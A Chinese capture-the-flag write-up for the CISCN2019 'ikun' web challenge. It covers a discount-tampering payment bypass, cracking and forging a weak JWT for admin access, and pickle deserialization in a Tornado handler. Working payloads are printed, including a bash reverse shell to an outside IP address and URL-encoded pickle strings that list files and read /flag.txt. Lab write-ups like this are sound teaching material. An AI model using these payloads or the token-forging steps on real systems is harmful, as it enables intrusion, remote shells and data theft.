[CISCN2019 华北赛区 Day1 Web2]ikun
能做出这道题的,一定是狂热ikun吧(滑稽
业务逻辑漏洞
import requests
url = "http://ed0b4ae6-27c4-46f2-9281-8b0b0335be34.node4.buuoj.cn:81/shop?page="
for i in range(200):
if "lv6.png" in requests.get(url+str(i)).text:
print(i)
运行结果181
注册、登录、购买LV6
,在购物车结算
处抓包,
经测试,此处存在明显的逻辑漏洞,后端逻辑对前端数据有依赖关系,且可以注意到使用了JWT
,
且修改discount
时(price不行)可以绕过支付逻辑,
相应302
,跳转到/b1g_m4mber
,
直接访问该子目录,存在权限限制,要求为 admin
权限,
JWT
弱加密
本题中,抓包可以看到使用了JWT
,猜测后端采用JWT
方法进行身份验证,尝试使用JWT
爆破脚本c-jwt-cracker-master
爆破,
docker run -it --rm jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFzZCJ9.BObCLjOjhd5VP8Ji2nhYaqzp01yT6KhkzQA2oY8FirA
关于Docker安装和配置,可查看本人其他博客[环境搭建/Docker]sqli-labs环境搭建/虚拟机部署Docker应用/同局域网可访问的Docker环境搭建
使用爆破得到的密码,在https://jwt.io/,构造伪造的JWT字符串,
使用构造的JWT,将数据包内的JWT替换(也可以将前端存储中Cookies表项JWT
修改为伪造JWT
,一劳永逸),
发包得到响应,
得知后台存在源码,
Pickle反序列化
下载源码,
在Admin.py中发现become
处,存在可利用的反序列化点
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
# 执行结果作为参数渲染到模板,有回显
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
且可以知道,Admin.py
的路由绑定到了b1g_m4mber
上
构造序列化字符串
import base64
import pickle
import urllib
import os
class Evil(object):
def __reduce__(self):
# 无法利用回显
# os.system无法回显执行结果,只回显命令执行结果
# os.popen无返回值
# 可通过模板渲染回显
# 可以利用eval和read()函数读文件: (eval, ("open('/flag.txt','r').read()",))
# commands.getoutput有回显,可以使用
return (os.system, ("bash -c 'bash -i >& /dev/tcp/121.36.96.230/2333 0>&1'",))
evil = Evil()
print(urllib.quote(pickle.dumps(evil)))
输出如下,
# (commands.getoutput, ("ls /",))
ccommands%0Agetoutput%0Ap0%0A%28S%27ls%20/%27%0Ap1%0Atp2%0ARp3%0A.
# (commands.getoutput, ("cat /flag.txt",))
ccommands%0Agetoutput%0Ap0%0A%28S%27cat%20/flag.txt%27%0Ap1%0Atp2%0ARp3%0A.
# 或者
# (eval, ("open('/flag.txt','r').read()",))
# 或者,然而,本题环境并没有bash
# (commands.getoutput, ("bash -c 'bash -i >& /dev/tcp/121.36.96.230/2333 0>&1'",))
# ccommands%0Agetoutput%0Ap0%0A%28S%22bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/121.36.96.230/2333%200%3E%261%27%22%0Ap1%0Atp2%0ARp3%0A.
对反序列化点进行利用
对该按钮的包进行捕获(_xsrf是动态的),
使JWT
与Payload的值为我们上面构造的那些即可,